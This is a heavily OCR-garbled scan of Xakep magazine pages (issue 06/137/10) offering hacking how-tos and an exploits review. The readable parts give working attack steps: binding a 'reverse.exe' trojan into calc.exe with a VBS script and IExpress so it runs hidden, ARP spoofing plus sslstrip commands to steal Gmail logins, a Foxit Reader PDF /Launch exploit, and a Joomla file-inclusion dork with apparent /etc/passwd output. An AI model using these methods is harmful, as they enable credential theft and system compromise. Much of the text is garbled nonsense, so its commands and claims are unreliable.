eDOGb-eDOGk. t x t )WUGr·-KDOGr'I. txt rlH1G,J-rDO(;S. txt X])flG;I.··'J'lHl(;i ' txt
EDOGD·· EDOGM t.xt kDOGt-·kDOGC. txt lIl>OGll--llDOGw td XDfJGZ 2DfJGU · txt
eDfJGF-'eDOGO txt JWOGU··LDfJGl.!. txt I'DOGp rDOGy bt IJDUGh· ~D[JGk. Lxt
EDOGj-EDOGs · txt kDOGX-IDOG~I. txt rDOGll lDOGk txt '!OIIGO VDOGM · txt
eDOGI-·eDOGu · txt I DOGll- IDOGK · txl RDOGR -SDOG<1 .txt. I)OflGf UIHIGO. txt
EDOGN··EDOGW. t x t I DOGE·· nDOGw .txt. -no«r sDOGc.t.xt '!DOGj VlInGs txt
EDOGN-G))(Jr; 1 t x t I.O(]Gf - LD[)Go t x t IlDllGx 1100GG. t x t I) DO(; I l)DOGu. txt.
eDOGP-eDOG'!. txt I DOGh-IDOGq. t x t rDOG7.-rDOG 1 t x t. YIHlGN VDOGlJ . t.x t
EDOGt-EDuce .txt LD[)GJ·"LDOGS. t x t SDOGb··SOOGk. '" lJDOGI' ~JDUGV . txt
eDOGu eDOGE b' I DOGL-I DUGlJ .txt sDIJGd-sDUGm t x t '1IW(-;t - '1DOGC ht
EDOGX FDOGg · txt LOOGp-LOOGy ht SDOGF-SOIlGIJ . txt. IJDOC;v"!)DOGE txt
eDOG2 ·fDQGi · txt I DOGr- J DOGf'I ht sDOGII-sDOGQ . txt '!DOGX-2DOGy txt
t'OOGB PDflGK b' LDOGT-MDOG( · txt SnOG 1··S00Gn txt !jDOGZ"ODIlGU _ txt
rOOGD ·fDOGM txt IDOGU-'~lDOG( · txt SDOG 1·-UDOGfj . txt IJOOG2· zDOG i .Lx t
FOOGh" FDOG(1 · txl LDOGz··LDOGI · txt. ~\DflGnsDOGw txt 7.0IlGB· 7.1)0(;)( txt
fOOGj-fD(]Gs t x t M,'kef i l e SJ)(J(;I'·SDOGV b' zIHI(;])· 7-00GM t.x t
FOOGL-FODGII. t x MDOGd-MDOGm. t.xt. sDDGH-I.DOG,\ , lxt. 7.J)n(~11-2Dn(;fl . t x t
fDOGN-f DUGI,j h' nDOGf-MDOGo t.x t SDO(;u-SDOGE t.x t zDflG.i-·zOIlG~; txt
fDUCN·· hDOG I · txt MDUGH-·MD[)GIJ . h' ~D[JGx·sDOGG . t x t ZDII(;L··:l.DIIGtJ txt
FDOGr-FDOGfl. txt I'1DOGJ -MDOGS . Lx SD(]G:I.- TDOG i .Lx t z/)OGN-z])(JGU. ht
fOOGt-rOOGC ht MDOGn-MDOGw. t.xt tDOGb-tDOGk txt 20UGr- ZDUG(l · txt
fDOGU-GDOG( · txt mDOGp-trlOOGy. txt TDUGD - TOUGM. txt. zD[)Gt zDOGC, txt
fOOGX-~fDOGH · txt MDOGR··NDOGi.1 · txt tDUGf tDOC;fJ txt 1,1)[IGU 7.DOG% . txt
gDOGB"gDOGK txt mD(]GT- nDOGc txt TOOGj TOOGs .txt zDOGX (lDOGg · txt.
r-oo tub t .11 ~Tor np"Mepa:

cDOGd9% cDOGd9' dDOGA1@ dOOGAl#

,lJ,aHHoill KOMaHAO~ Tbl cconaurs cnosaps Vl3 CeMIII CIIIMBOnbHblX enos no 33P,3HHOMY uiatinonyl-t], rAe ra 3aMeHS1eTCS1 ancpaawTHblM Clt1MBonOM, % - WVlCPpO~, fI - cneucanSOflOM W3 YKa3aHHbix Ha6opoB OlMBonOB, V1TOr3an).1WeTCS1 B wordlist.txt. Cnenyiouiaa KOMaHp,a coanacr cnoaaps W3 BceS03MO>KHbIX KOM6wHau,ww enos nocne apryMeHTa -m. YKa3bJSaTb )J,Jl).1HY cnosa uaao obsaareneao. XOTS1 OHa Y1 He Y4Io1TbIBaeTCR'

.1 crunch 1 1 -m Happy Birthday Masha

v1Tor npm-iepa:

MashaBirthdayHappy MashaHappyBirthday BirthdayMashaHappy

3AAA4A: C03AATb PORTABLE-BEPCI4IO 11 10514 MOIII npOrPAMMbl.

PEWEHI4E:

04eHb 4aCTO nOS1Bn~eTCS:l Heo5xDAIIlMOCTb IIlMeTb Jl J05111Moe no non pYKoill, uanpvn-rep. Ha cneurxe. YTo6bl YCTaHoBneHHblw COepT He OCTaBlI1n

r.ocne ce6~ cnenos. Ho HaCTOflUJ,V1e portabte-aepc an no npOVl3BOAIIlTenlt1 peAKO C03,lJ,aJOT. MO>KHO caMOMY «cofipar s» nporpavvy nocne ee YCTaHOBKIt1, HO It1CKaTb Bce ee '-IaCTIt1, pasfipocauas.e no CIt1CTeMe, nepeuacrpauaars - p,eno He6nalO,o,apHoe. B 3TOM Aene HaM nOMO>KeTThinApp [pa-n-rue aeaereenec s "hinstell] or vtvlwere. C O¢V1L.J,VlanbHoro ce ara MO>KHO CKa4aTb rpaan-aepcuro. HO ecnu TOe6e He rpebyercs 4TO-TO II1CKJlJ04I11TenbHoe, Hanpll1Mep, nOAAep>KKa Win7 It1Jllt164-6lt1THbIX CII1CTeM,

~ 041

XAKEP 06 /137/10

EaSlI Hack

TO MO>KeWb HapblTb BepcV110 3.x, KOTOpal'! YA08fleT80pVlT 60flbWV1HCTBO nO>KellaHV1V1.

VIAeI'! TaKOBa: ThinApp crauupyer peecrp VI ¢alllllOSYfO cV1cTeMYTBoe~1 OC AO YCTaH08KVI He06xOAV1MO!1Te6e nporpaMMbl V1 nocne, npOCne>KV1Baen13MeHeH\I1~, BHeceHHble eto. \II c03AaeT KOHTelllHep - nopTaTV1BHYIO BV1pryanbHYfO OC BMeCTe co BceMV14aCHiMV1 raoen nporpa-rvu. peecrpou. To eCTb, nocne sanycka ncnyvnaureroca exeun-uxa oTKpOeTCl1 TBOI1 nporpa-u-ra B eupryansHoill cpene OKpY>KeHV111

An" np-u-repa a cosnan W sanycrun 7, 8 aepcvu IE 8 XP co CTaHAapTHo", IE6 IcM pncyi-o«].

OT eJlOB - 1< AeJly. O,lJ,HO 3aMe4aH\I1e: xcenarer suc Bee 3TO npOBOA\I1Tb Hd 4\11CTolli C\I1CTeMe, TO ecrs 6e3 llVlWHera no Vl co CTaH,IJ,apTHbIM peecrpou. n03TOMY ucnoru.syior BVlpry3llbHYlO DC.

1. Ka;yaeM JiI YCTaHa3JIJiISaeM ThinApp;

2. Sarrycxaei-t ThinApp Setup Capture 11 BblnOJIH5l:eM rrpenaapwreneace CKaHMpOBaHl1e i

3. YCTaHaSJIl1SaeM H}'JKHOe ITO, eCJIM Heo6xo,IJ;MI:1o - rtepeaarpyseex xcccr:

4. Hac'rpanaaen neue no i

5. vnanae» ITMlliHMe 11 apeaeaaue \l_>aMnbl;

6. Serrycxaea rrOCT-CKaHMpOBaHMe B ThinApp;

3AAAllA: CnpSHATb TPOs:lH B Jl1060M EXE-<I>AII1JlE

PEWEHIiIE:

B npOWJlOM HOMepel1 paccxasuaan 0 cnOC06eC03,lJ,aHVI$lTp07lHa C ncr.onesosaHV1eMTonbKO msfpayload, VI OTOM, KaKero cnpsran.c nOMow,blO msfencode (4aCTVI Metasploit], 06be,IJ,VlHVlB C Kal<VlM- JlVl60 exe-cpaCiJlOM. Y sroro MeTO,lJ,3 06be,lJ,VlHeHVI$l cpaillna eCTbO,D,Ha npofineua. nOllYLJVlBWV1Cics:! exe-cpaVtJl3anYCKaeTHe nporp3MMy, C KOTOPOVI 6blJl 06be,lJ,VlHeH TP07lH, 3 roneko ero caMoro, T3K KaK npOVlCXO,lJ,VlT Vl3MeHeHV1eTO'-lKV18XO,IJ,a B nporpa-n-iyna 111 socouie :1. ..

ECTbO,lJ,VlH CTapblt;1 II1neranbHblVi MeTO,IJ,Pfls:! 06be,IJ,VlHeHVls:l cpalliJl08. [;1, 4TO npnaruo, BCTpoeHHbl1ll8 BVlH,D,y. nOTOMYTbl MO>KeWb V1cnonb30BaTb era 111 Ha 6name,IJ,eno. l!1M71 nporpaMMbl, KOTOpO~l Mbl BOCnOJlb3yeMcR -IExpress.)J;m npil1Mepa s:! 06be,lJ,VlHII1JlTPOI'!H, c03p,aHHbIVi B npownoM HOMepe, VI CTaHAapTHblt;1 KanbKymnop.

Ho Ha4Hyno nop"AKY

1. KOIIl1pyeM Tp051H (reverse exe) !tI KanbKYlliITOP ae pa60YMM CTOJI;

2. C03,.o;aeM t_PafiIn sbd. vbs 11 fU1IlIeM B Hero:

Set wshshell = WScript .CreateObject («WScript Shell») wshshell. run «calc. exe» I 1, False

wshshell. run «reverse. exe» , 0 f False

l!1TaK, Mbl C03,lJ,anV1 CKpV1nTHa Visual Basic, KOTOPblVt no o-repena sanycxaer oba HaWII1X exe-cpaillna. napaMeTPbl, nepe,IJ,aBaeMblewshshell.run:

1. i1M5l: t_Paili:na nns aarrycxa.

2. OTo6paJKaTb JIM OKHO rrpor-pasora npx aarrycxe , r'ne 0 - BeT, 1 - ne tee-n, 11 npyr-ae BapJ1oHTbI) ;

3. IKgaTb TIM 3aKpbITJ15I rrporpateoa nepen BbITIOJIHeHMeM cnenyourer-o onepa'ropa .

nocne3TOro Mbl3anYCKaeM iexpress (nYCK ~ BblnonHVlTb -7 iexpressJ Vl cne,.o,yeM YKa3aHV1s:1M MacTepa:

1. Ilanee - Ilanee :

2. TI!06oe l-Ia3BaHMe;

3. ,llanee - Ilanee :

4. ,llo6aETI5!eM (_j)at1.ITH, xo'ropue XOTVJl.1 06be,IlMHMTb B naxe'r (sbd. vbs , reverse exe f calc. exe) ;

7. YCTaHaB.ITMBaeM TO'-1KM BXO,D,a B no f TO cc-n, OCHOBHble exe-rpafinu nporpaMMbI ;

8. Onpenenaesr ne'ron M30J15l:UYIIII no;

9. vxaauaaea , r'ne 1>J.13M1..fECKI1 xpaHMTh Jj)atlim.l TIonyt.J:I1BlIleMC5I «neco-r-

1 o. BBOgJilM Ha3BaHMe rrpoex'ra III npyrue HaCrpOMKl1;

11. IIOJIYi..weM exe-xoa'retiaep aamer'o no;

12. PaAyeMC5f!

Bo06w,e, B03MO>KHOCTeVi y ThinApp MHOm. 60nee TOHKal1 HaCTpOIliKa kaxnoro npcekra ocyuiec=anaerca nOCpe,lJ,CTBOM ¢aillJla Package.ini 1.1 ##Attributes.ini B nankax w nepecrpcaxo.i build.bat

K npVlMepy, B Package.ini MO>KHO 3a,lJ,aTb cner.yiou.ee:

[Isolation]

Di rec tory I so la t i ontdode= Full

nOflYYV1BWV1V1Cs:I KOHTeVlHep He 6y,n,eT V1MeTb,IJ,Ocryna K cpaC1Jl080Vi CV1CTeMe peanbHOVt OC

l!13 MV1HyCOB CTOV1T OTMeTV1Tb CHV1>KeHV1e npoV1380AV1TeJlbHOCTV1 Vl He6ollbwV1e OrpaHV1yeHiI1s:1 no, <orcpce MO:::t<HO BVlpryanV13VlposaTb

5. Bbl6vrpaeM npor'paierey .IUUf aanycxa npn crapre (noxa '-:ITO moyo 113 ::-J:I1X) ;

6. Ilanee - Ilanee :

7. BBOAVIM rry-n, nna coxpauemea ITaKeTa M CTaBMM o6e raJIKl1 (ffl. exe) ;

8. faJIKY na NoRes tart;

9. Ilanee - Ilanee .

B peaynsrare i-a pa604eM CTone,o,on>KHbl nOrlBV1TbCI'! nee ¢alliJla: HacTpoVtI<V1ffl sed" ffl.exe

Jle3eM B ffl.sed Vl MeHs:leMTaM 3HayeHV1e AppLaunched Ha cnenyio.uee. «oropoe 3anYCTV1T Haw Vb-CKpVlnT:

Appl.aunched=c sc r i.pt; sbd. vbs

3anYCKaeM iexpress VI nepecoaaaev naxer aa OCHOBe HOBOro SED (BbI6VlpaeTC~

~ 042

XAKEP 06 /137/ 10

cpasy npa aanycxe iexpress!. 51pJlblK)J.Jls:! nony-re-u-oro ¢al71na MO>KHO nOMeHmb C nOMOUJ,blO penaxropa pecypcos. Ha ,fl,lIlCKe ecrs sed-oasn, TaK LJTO MO>KeWb nOMeHsHbnyrV1 BHyrPlll Ha Heo6xo,fl,V1Mble.

Ha AeTeKTlo1pyeMoCTb aHnlBV1pycaMlt13anaKOBKa nOLJTlIl He Bn1015'leT, LJTO nOrV1LJHO, TaK4TO 18 BMeCT021 "341.

3AAA4A: BblHYTb <l>AIIIJlbI113 PCAPAAMnA TPA<I>11 KA

PEWEHIrlE:

llporpevu, xoropue nQ3BomHOT BblLJ,emtTb KOHKpeTHble cpaWJlbl1'13 pcap-oaanos [cTaHAapTHblw q,opMaT ,QaMna ceresoro rpacaral. ,fl,OCTaT04HO MHoro. BOTTOflbKO 60flbWItlHCTBO 1013 H\o1X Itl pafioraor He 04eHbXOpoWO, \01 nasuo He nOAAep)KItlBaIOTCs:I, a euuennsor romxo KapTItlHKl-1,fl,a htrnl' Kitl. He C41tlTas:l BCs:lKItlX nnan-ux np0,lJ,YKTOB, rne ece paboraer «Ha ypa», ecrs napa ,fl,OCTO~HbIX Itl npltl 3TOM nocryruusx npor.

KaK HItl crpa-n-o, non Win C 3TOW 3a,IJ.a4e~ OTflltl4HO cnpaawncs NetworkMiner.

Bee, 4TO Hy>KHO cnenars - orxperrs B HeM Tpe6yeMbll71 pcap-oaun Ir1 aacnaxaarscs pe3YJlbTaTOM, paCKlIIp,aHHbiM no pa3HbiM BKna,IJ.KaM. OH H aHaJlH3HpyeT6blcTPO, H COpTItl pyer Bee XopOWO, Itl VlTOrllJ «paoou we».

v13Tom, 4TO BXO,lJ,\I1T B KOMnneKT Back Track 4, Mory nocoaercaars paase 4TO foremost,o,a tepxtract. Ho nocne,o,Hltl171 HaAO YCT3H3BJlltl sars \113 penoa-rropus. Itl He 06HOSfltleTCs:t OH Y>Ke gaBHO.

np"Mep'

foremost -i dump.pcap

II D 6 riJ 736
76996733CAA6AC ... 7£A2!8FC9lOO79 ••• II.gif 1619ZC!'W6OOA9 ... <.gif.D1'!ff00i.\iI C8A7ef16f3f812
12il>:7.1,297-1B 75~I28,29zaB !>S>:-IS,n68 128.:13,30108 ld,-I2B 10>70,68818
~~;~ *1 II if ~~r&tl t4
"f>'
ECI3F571ecABFAf •.. S-+O.)p9 tI07·J>9 n-+.<jI ye!ow_o""".jgo,) 9ia9E1C3OC1'AO'1 •••
:-OOX117,8Il22B l00x2S,I996B 300060,93278 300><2S(),29-106B lOOx2S,19%B ros.l-+-I.6315B
Pi1 I II rr;'
~ ~
malCe1A-I2fSO ..• IFFB3eOCC269ZA .•. 86201t5176811A ••• 91.EB1D1001H11 ... ~:;:;conU~ti1 •••
UloxI11,59SS8 206.\-11,69968 3D3.211,111SSB 619.117,225198 376.211,1-12168 BblLJ,enns:teM cpa liln bl NetworkMiler'oM

ino6anbHbie HaCTpOWKltl np0t.1380ASHCtl C nOMOUJ,blO ¢a~JlaJetc/foremost.conf.

echo" 1" > !proc!sys!net/ ipv4/ip_forward

3AAA4A: YKPACTb JlOrl1H 11 nAPOJlb OT GMAIL 11 AHAJlOrl14HbiX CEPBI1COB, HAXOASICb B OAHOIiI nOACETlII C >KEPTBOIII

PEWEHIrlE:

,QJ1s:1 peWeHltltl ,o,aHHol71 npo6neMbi s:I HanOMHlOTe6e cnoco6, npeAflO>KeHHbltll Ha Black Hat DC 2009 c "CnOnb30BaHOleM sslstrip.

KOHe4Ho, B03MO>KHOCTb npl!l6J1Vl3ItlTbCtl K >KepTBe Ha paCCTOI=IH\I1e «O,fl,HOli! nonceru» n051BJlReTCs:J He TaK 4aCTO. HO, B TO xe epevs. 83JlOMaS XOH16bl 0AHY MaWV1HYV13 nO,lJ,CeTKlt1, Mbl nOJlY4\11M AOCTyn Kp,aHHbIM scex ocraneaux

HaM nOHa.o.o61r1TCs:I:

1. sslstrip;

2. arpspoof.

~ socnon b30BanC" BackTrack' OM. rae no Y>Ke YCTaHOBneHO. B np"Mepe,

1)192.168.0.1- OCHOBHOM IIlfl!03; 21192.168.0.101 - xep'raa: 31192.168.0.102 - xaxep .

V1TaK, Ha4HeM:

arpspoof -I etno -t 192.168.0.101192.168.0.1

nepeA ompaBKOtll KaKlt1X-JlIr160 AaHHbix BO BHeWHlO1O cers >KepTBa nenaer ARP-3anpoc, 4TOfibi Y3HaTb MAC-aApec urruoaa. AaHHo~ KOMaH,D,OW Mbl MaCCOBO ornpaansev ARP-oTBeTbl Hawe~ xepree DTOM, 4TO WJl103 peansao HaXOAHTCtl no HaweMY, xaKepcKoMY, MAC·aApecy TaK"M 06pa30M, xeprsa AYMaeT, 4TO 192.168.0.1 pacnonoxeu no MAC-aApecy xa kepa, nOTOMY Bee na KeTb! om paenser HaM, a He ua WJlI03. Boo6w.e, B03MO>KHOCTb n pOSe,fl,eH\I1s:t cny¢ItlHra 3aS\I1CV1T OT opraHloau,Itl\l1 cent "HaCTpOeK Mapwpyr"3a~"".

Ilanee HaM HY>KHO, Lno6bl sees Tpacp\l1K xeprsu OT Hac nepeaanpasnsncs Ha peanbHblW uimos. AJltl3TOro nVlweM:

Bo6ll\eM-TO Anl1 roro, 4T06bl yKpaCTb napona W3 HTTP \11 FTP-cOeAItlHeH\I1~, K npwMepy, aroro XBaTItlJlO 6bl. 3anycTws n lo6oii cHw¢¢ep, Mbl npocTo BblJlaBflHSaeM Heo6xOA\I1MYfO HaM ItlHCPY.

Ho xy";f<.e Aeno 06CTOItlT C npOTOKOnaMItl, koropue nO,Ll,,IJ,ep";f<.V1BafOT wV1cppoSaHltle r-ma HTTPSceroSSL"TLS. KaK xe ryrburs?

An" HTTPS·npoToKona Mbl MO>KeM ensnare 4TO-TO BpOAe nOAAenbHoro HTTP/ HTTPS npokcn-cepaepa To eCTb AaHHbie OT xeprsu 6YAYT ornpaanarscs

He cpasy ua uuuoa, a cuaqana Ha sslstrip, T04Hee, YCTaHaBJl\l1BaTb C H\I1M He3al11"ll.IeHHOe HTTP·coeA"HeH"e.acaMsslstripY>Ke6Yi\eTycTaHaBn"BaTb aaumuieuuoe COe,lJ,VlHeHVle C Gmail Vl pe,QVlpeKT\I1Tb ,D,aHHble OT xeprsu. Anti 3TOro HaM norpebyerca, eo-nepaux. cnenar s pe,D,ltlpeKT HTTP-Tpaq,VlKa Ha Haw «npOKC\I1».

iptab1es -t nat -A PREROUTING -p t.cp --destination-port 80 -j REDIRECT --to-port 8080

3TOii KOMaHAo~ Mbl pe,Ll,lIlpeKTItlM sece TCP-Tpaq,\I1K, npIt1XOAtlll\ItlW na 80 nopr, Ha Haw 8080.

Ilanee 3anYCKaeM cepaep sslstrip Ha lapryve-rr -118080 nopre u YKa3b1BaeM. 4T06b OH Ben nor ecero rpeowsa B cpa"n sslstrip.log [apryMeHT -a]:

sslstrip -a -1 8080

llapunn " APYrylD "HTepecHYID "HcpopMa~" 10 "l11eM B sslstrip.log.

CaM MeTO,D, HMeeT ps:t,Ll, HfOaHCOB It1 OrpaHIt14eHVlW, C8)B3HHbIX C K3WWpOBaHltleM AaHHblX 6pay3epoM, KYKHcaMlIl, npl1MblM SblXOAOM H3 HTTPS-coeAwHeH\I1e Itl T.A. npW3H3fOCb, 4TO so speMs:t TeCT\I1pOSaH\I1l1 CTa6\11J1bHOCTItl B pesynsrarax sslstri p l1 He ,Q06\11Jl CI1, HO ece xe CMO r yKpacTb nacc V1 OT G ma i t" a I 1Il OT a,lJ,M Itl H KH K cepaepy,

K TO My xe s npOBOA"n OnblTbl Ha BepC"" 0.2 [B nOCTaSKe BT 41. a nOCnei\H"" aepcas Ha SpeMI1 Han\l1CaH\I11i crarsn - 0.7. B He~ nOI1S\I1nOCb MHOro pasnux AOnOJlHIIJTeJlbHblX SKycHoCTe~. TaK 4TO np\l1KnaAbjsafO WMeHHO 0.7. X

XAKEP 06 {137{ 10

~ 043

•• AneKceit C."IiLl,OB, Digital Security dookie@inbox.ru

v

0630P 3KcnnOHTOB

Cero.o.HB Te6H >K.o.eT O~epe.o.HOH pa360p npOBepeHHblX H H~H6onee onacsux 3KCnnOHTOB npowe.o.wero MeCHua. KOHe~HO, He ace cnnOHTbl 6y.o.YT pa60TaTb nerxe H npOCTO. ~Hor.o.a Hy>KHO nOHHMaTb, ~TO npOHcxo.o.HT B CHCTeMe, KaK lJlYHKUHOHHPYIOT ee KOMnOHeHTbl, KaK nOBnHHT~ Ha CHCTj!MY sepea YH3BHMOCTb, ~To6bl 3aCTaBHTb pa60TaTb TOT HnH HHOH 3KcnnOHT. B KOHe~HOM csere, xasep - 3TO He TOT, KTO 3HaeT, ~TO, BCTaBHB KaBbl~KY B GET-3anpoc, MO>KHO nonY~HTb .o.ocTyn K 6.ll (ycnoBHblH n_PHMep), a TOT, KTO nOHHMaeT, ~TO 3Ta KaBbl~Ka 3Ha~HT, H KaK 3TOT aanpec B 6.ll ocyuiecrenaercs,

OHex GOee OOel OBin 0rpa.D.~ OPa,J,lla_ Orpallbl

6 ...

~Sllil

01

~cnonHEH~EnpO~3BonbHorOKOAA ~3PDF

S'l3

CVE-2010-1239

Foxit Reader AO aepcuu 3.2.1.0401

focnOA"H A"Abe CT"BeHC (Didier 5tevensl onyfinuxosan B CBoeM 5nore 3KCn1l0ll1T, n03BoJ151fOUJ,lt11113anycKaTb nponaeonsuue nplt11l0>KeHlt151 B "'opMaTe PDF C nououiuo Acrobat Reader" Foxit Reader. np" 3TOM He IIlcnonb3YIOTC51 Hlt1KaKllle 6pewill S ofipaborxe <popMaTa. CDaKTlt14eCJ<lt13anYCK np0t.13BOllbHb1X ~pIl11l0>KeHVlII1 1113 PDF - B03MO>KHOCTb, onpenene+man B cneu,V1<plIlKau,V1V1 ¢opMaTa. VlHTepeCHO, 4TO 31l0YMblwneHHV1KIIl He 3aCTaBlt1flt.1 ce651 nonro >KAaTb lt1 HayaflV1 V1cnOflb30BaTb 3Ty«¢lt1YY» 8 CBOV1X KOPblCTHblX uensx . .IJ,06aSIlIO, 4TO y nonsaoeareneji Acrobat Reader MeHbwe waH COB 6blTb 6lt1TbIMII1, TaK KaK npn sanycxe nplt1JlO>KeHIt151 BbiCKan1BaeT OKOWKO C npegynpe>KgeHV1eM lnpasna, 3nOYMblwneHHlt1K MO>KeT Bfllt151Tb Ha TeKCT B 3TOM OKHe, 4TO n03BOfl5=teT lt1CnOJlb30BaTb nplt1 araxe counar s-ryio "H>KeHep"101.

VlTaK, 4TO >Ke n03BOJlS1eTHaM BbInOJlHS1Tb np0ll13BOJlbHbie nplt1JlO>KeHIIlIi? OTBeT Ha 3TOT aonpoc MD>KHO Ha~TII1 B OnIllCaHlt1111 Ae~cTBII1S1 /Launch. YT06bl

~ 044

L

Coogle -;m~i:;ption"'com_;;iki ---..I I nO\<lCK I ~

o no"CK el.-1to"epHeTe 0 nQI<C1( CTPBIfHU ~B ff1((KQM

Pe3'J'llbT6TbI2.1.JOlI3npl1f~p><o5S4000.'lJlflalilnurl:oplion=com_awikIIO.l1ceKl

Atlanta neighborhoods.[O~p~8%r;, 'TYC1WH';lil

24 Feb :2010 _. Decanxls a city in. end coontyseatof.DeKeib COOI"Ity. Gaorgla. United Stales Wilh a population 01 18147inlhe 2OOOcensus._ IW.wa!la~,omllllde:.:P'1l':'c>ptlon"cOm_3·."i~i .~

Master LimJ):.[lli:I1~~TII ,T'{opawwl

MasterLinlDC Eg,.pt Red Hatf'altner Complete redhat LiI"lUX SClMiOllS. Sun Microsystems in Egypt...I<lVaTrailllngEgi!lt.redhatLinuxSElrvlces.red"latL!nux ... w.-.WmastMmKnetlindexphp?option"com_awlkl . ·-o:.paH~~Ikll'!~(lI1IL~

Apadrawa ~ Body Piercing 4U.(n~P9';h?ml··.rycrpa"!lNl

News. Videos and Articles etcr 60cty Piercing. Increase font size; Oelaul tlOl1tsize:Decrease

[c"RC

Joomla. PaAOCTb ~epBHKaM.

alOur.o:~"lO;":SSI3689:IOO4SO;110mun0:IO:lb.mtlc./IIeMlS9Ij~\3689/1I>dno~ a2()Th \98S:~.5578782".\00450:'_'>Q7l>J98~Jhomtl<on:mIS2I55787Sl: l<I>i*ologin027526357*".55m97:IOO4!iOa27S26357:1bom.l<orkn!Ii7I5S97lt97/>binfn<.1ogil>a33464336:"'~1I26314:10045(h.33464336n.ocndc""' .... 114l58"26314/obin/ookogin .SOm3030;"'.SS06673:100450.aSO~~030JbomtlcorA""If7?15S066731,b.,rftOloin .. »;u"""'S411?20;JOO450.m.,,·MIom< i<"","",.!I2(l(S41Iml,birInol~in:t.lCPpvOl&".58D6934·t0045o.""'Pi>·,orgJhomtlco0lnllf34l5!!()69J4j,bin",<>!ogIn

•• d=8698:'''.55015767·10045(J:aad!rng698"ibomd~67151o157671.t.in1no1ogin _.,,;r., .56091JJ:100450:>."P .. driv<litomol,ontrnlf33l5.6()~133.

l.binfnoloin .... on3535:,..55&9011:100450;UNn35~S:Jh<.mtlcOl\ltnIf11155S9017J.binInologin on>.""0!!I'""":S5-64855:100450:aarollll"'.""Jhomolc ......... J

Ij~56-:I8551,tmt...,login=ollb-ubrd"":56(qISO:lOO450=orbullatdJhomtleonl~JW:cIn""'<:w

•• Nn<!francis:":55o10581:100450 .. ",ond6->nritJhom<lc.nt.!!!I8V5540SB11.bin'Mlogin_ond:,oslOlg.":55o12372:100450_ondho'~fhomelconl"'" mJ55423721.binlnoioBin"~"".58263501~5(I.""oMJl>c·fhomdcontentl'5Q15826350""bin/n¢Io"';"=J>;:hjb"'.5528388:10045(1;Ull!i;hjlafho.,. Icon!entl38l552&J88J,binlnologin .. !Cl00,-:5-I69812.I00450.iUlCIOOlhomolcon'entlI2I5oI69&I2"lslr.nInologillabadpholO;*"5397682;I00450ab.dphoIOJhofne ICOr,IeW32/5397632:1,binlnologin.bal.""I."5462n2:100450:.bal.n,IJhomolconlOo;fi2I5462TIU,binfnologinobcoomb.,";S474282:1004S0:abcoombefh,m. l'Of1!rnu"82l5ol742821,binlnologin.bcillcl:·:5462763'100450obeil!<l'ilwmrlcontonrl63154627631~n~ab<td<,n2:":5412631:100450 .• b"d.",2Iho.,. Icor,ltnif.lII541362I"1,binlnologin.bilar200Q:-,55t2485:1004SQ:;biI.1r2000:/hom.I,""',nV85155124851,bin/nologin nblt;ketrg:~550184251004S0,.bl.tk<,,,g·!horn'''c'''''.ntl25155<!8425J,binlnol.!'inabl''l'ort:'"".540S704:10045(l.b1"l'0rtlhome!conteotl(l4I5<!03"I04/,blnInol<>!'in .blonchi<'-$~I""5614000;I00450;.blon,hi""tol·A\omd'o""otIOor.;614000J.binlnololP"abrn,c1lfthy:~5597310:100450:.bmcc""h:rJhomel.o" .. ntllOI5597310; I.bini.ologil> obmeoh."";5515352:100450:1.bm.,1Vh¢m"conte"1I52155153S2l.binlMlo~ abokia·":5S24609:1D0450 .• boki.:Ih~mtlcom.ntA:l9JSS2460;; M';nlnologinabovenlld<l:':S639398:100450.abovoolld,l·:/home/Oon!<nl19&15639398/,binlno~obrnham4""1':*5483262:100450~am4 .. p;/llOl~""Ont"'" 162154832~2i,birJnololPn ~b,olul829:":~S32~S 1'1 00450 ... »,oIu1829:/h"m.lconl<"lI51/55n4S1J,binlnolo~ ab,ol""0Jl~":5TI5SS3: IQ04S0.,b •• lul.",l;/l'WIle loon"nll531ms5S3""binlndo~"b.olulcW)' .. ":55)9370.1004$O·.b'oI",<wOiso:ihomo/,o"",rtli7OJ$519370:l,h;"jnojogirt .~",,~,"5234;*"5491597;10045Ct.b<Urdrl ... ~234ftt."'!ICl>lllrnlf??I5491597J'bininologin ab·N>bil::"".5I62119:1004S0:abw,bil::n,omolcOOl"oll19IS?621 19.

Joomla. MeKC~KaHCKaH 6e30naCHoCTbnoAyrpo30H.

5blno nOH"THO, paCCMOTp"M "'opMaT PDF, KOTOPblii "Bn"eTC" He bonee 4eM TeKCTOBblM ¢a~noM c Onll1CaHltleM 06beKTOB, no cyrll1 BblpOCWlt1M 1113 S13blKa PostScript. TaK BOT, Ka>K,IJ,blll1 06beKT VlMeeT CBO~ TlI1n; Hac >Ke lt1HTepecyeT Hm /Action, B KOTOPOM ecns Aell1CTBlI1e Launch. C06CTBeHHO, 3TO Ae~cT8l11e III nplt1BOAII1T K sanycxy npIIIJlO>KeHV151. PaCCMOTplllM 3KCnnO~T.

800bj

y't'ype I Action IS ILaunch /win

XAKEP 06/137/10

EXPLOITS ...... _--1 REVIEW

EXPLOITS REVIEW

EXPLOITS REVIEW

EXPLOITS REVIEW

Categories:

Full Screen

General

Page Display

3D&Multimedia Acce,sibil,ty gcrobet.com Perms

Identity

intemational

Internet

J<lvaScript Measuring (20) Measuring (3D) Measuring (Geo)

r .. )ultimedia(legacy) Mui\imedia Trust (legacy) Reading

Search

SecurRy

5e(ur~y (enhanced) Spelling T

Updater

~
- EXPLOITS
) - REVIEW
Restore 1
net.
rmationissent)
HaKOHeU-TO MO" uienn.
...._
. ,
~ Trust Manager

PDF File Atta,hment;;

( 0Allow opening of non-PDF file att<'ll;hments with external application$ Restore the default list of ililowedand disallowed flle ettecbrnent ty pes:

Internet Access from PDF Files outslde the \I>,'~b browser Unless explicitly permitted, POF files cannot send information to the Inter I Change Settings ... I

AutomaticUpdat6s ~loadtrustedroot(ertifi(atesfromanAdobeserver(nopersonalinfo

0Askbeforeinstal!ing ! Update Now )

~alll1 []p.ablt<! ~'A ~YPH<lJ1 2a~,na'!I.K11 !!!Ht;TpyMeHTb( £l1p8£lr.:a

U--'" C X & r http:(Jlocalhost!pwnPhp6.php?ofFs-34&pos s-124&lnd-OMff e_1S&pos_e_128

8 npl-1CTynE nAPAHOllf110TKJlI04AEM HE PDF-npHJlO>KE~ Hl-15J..

F1 - nOMO~b B nony4'eHHIo1 wenna

endobj

